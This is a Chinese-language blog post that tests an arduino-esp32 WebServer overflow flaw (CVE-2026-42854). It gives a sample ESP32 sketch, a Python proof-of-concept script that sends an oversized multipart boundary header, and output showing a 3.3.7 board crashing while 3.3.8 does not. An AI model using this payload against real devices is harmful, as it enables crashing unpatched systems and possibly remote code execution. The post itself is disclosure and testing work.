2026年5月23日 星期六

arduino-esp32 WebServer CVE-2026-42854「Overflow」漏洞測試

Demo 影片:



原因:

arduino-esp32 3 版本 < 3.3.8 的 WebServer 表單解析器,
對 HTTP header 欄位 (Content-Type: multipart/form-data; boundary=...) 沒有強制長度限制,
導致 Overflow,程式崩潰並可能執行遠端程式碼。


漏洞概念測試:

以下測試用 Python 送出會發生 Overflow 長度的資料,導致 WebServer 崩潰重啟。
ESP32 程式

#include <WiFi.h>
#include <WebServer.h>

const char* ssid = "WiFi名稱";
const char* password = "WiFi密碼";

WebServer server(80);

const int ledPin = 2;

void handleRoot() {

  String html =
    "<html>"
    "<head>"
    "<meta name='viewport' content='width=device-width, initial-scale=1'>"
    "</head>"
    "<body style='font-size:32px;text-align:left;'>"
    "<h1>ESP32 WebServer</h1>"
    "</body>"
    "</html>";

  server.send(200, "text/html", html);
}

void handleUpload() {
  HTTPUpload& upload = server.upload();

  if (upload.status == UPLOAD_FILE_START) {
    Serial.println("Upload Start");
  } else if (upload.status == UPLOAD_FILE_WRITE) {
    Serial.printf("Received: %u bytes\n", upload.currentSize);
  } else if (upload.status == UPLOAD_FILE_END) {
    Serial.println("Upload End");
  }
}



void setup() {

  Serial.begin(115200);
  delay(3000);
  pinMode(ledPin, OUTPUT);
  WiFi.begin(ssid, password);
  Serial.print("WiFi connecting");

  while (WiFi.status() != WL_CONNECTED) {
    delay(500);
    Serial.print(".");
  }

  Serial.println("");
  Serial.println("WiFi connected");

  Serial.print("IP: ");
  Serial.println(WiFi.localIP());

  server.on("/", handleRoot);
  server.on(
    "/upload",
    HTTP_POST,
    []() {
      server.send(200);
    },
    handleUpload);

  server.begin();
  Serial.println("WebServer started");
}

void loop() {
  server.handleClient();

  if (Serial.available()) {
    String readString = Serial.readStringUntil('\n');
    if (readString == "a") {
      Serial.println("====================================");
      Serial.print("Arduino-ESP32 Core Version: ");
      Serial.println(ESP_ARDUINO_VERSION_STR);
      Serial.println("====================================");
      Serial.print("IP: ");
      Serial.println(WiFi.localIP());
    }
  }
}



Python 程式
import sys
import requests

TARGET = "http://192.168.100.5/upload"

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <boundary_size>")
    sys.exit(1)

boundary_size = int(sys.argv[1])
boundary = "A" * boundary_size

headers = {
    "Content-Type": f"multipart/form-data; boundary={boundary}"
}

body = (
    f"--{boundary}\r\n"
    'Content-Disposition: form-data; name="file"; filename="x.txt"\r\n'
    "Content-Type: text/plain\r\n\r\n"
    "test\r\n"
    f"--{boundary}--\r\n"
)

try:
    r = requests.post(
        TARGET,
        headers=headers,
        data=body,
        timeout=3
    )

    print("Status:", r.status_code)
    print(r.text[:200])

except requests.exceptions.ConnectTimeout:
    print("Connect timeout")

except requests.exceptions.ReadTimeout:
    print("Read timeout (target may have crashed)")

except requests.exceptions.ConnectionError as e:
    print("Connection error:")
    print(e)

except Exception as e:
    print("Other error:")
    print(e)


3.3.7 版本執行結果 (ESP32 重啟)
> uv run poc.py 800
Status: 200


> uv run poc.py 8000
Read timeout (target may have crashed)

3.3.8 版本執行結果
> uv run poc.py 8000
Connection error:
('Connection aborted.', ConnectionResetError(10054, '遠端主機已強制關閉一個現存的連線。', None, 10054, None))


參考:


沒有留言:

張貼留言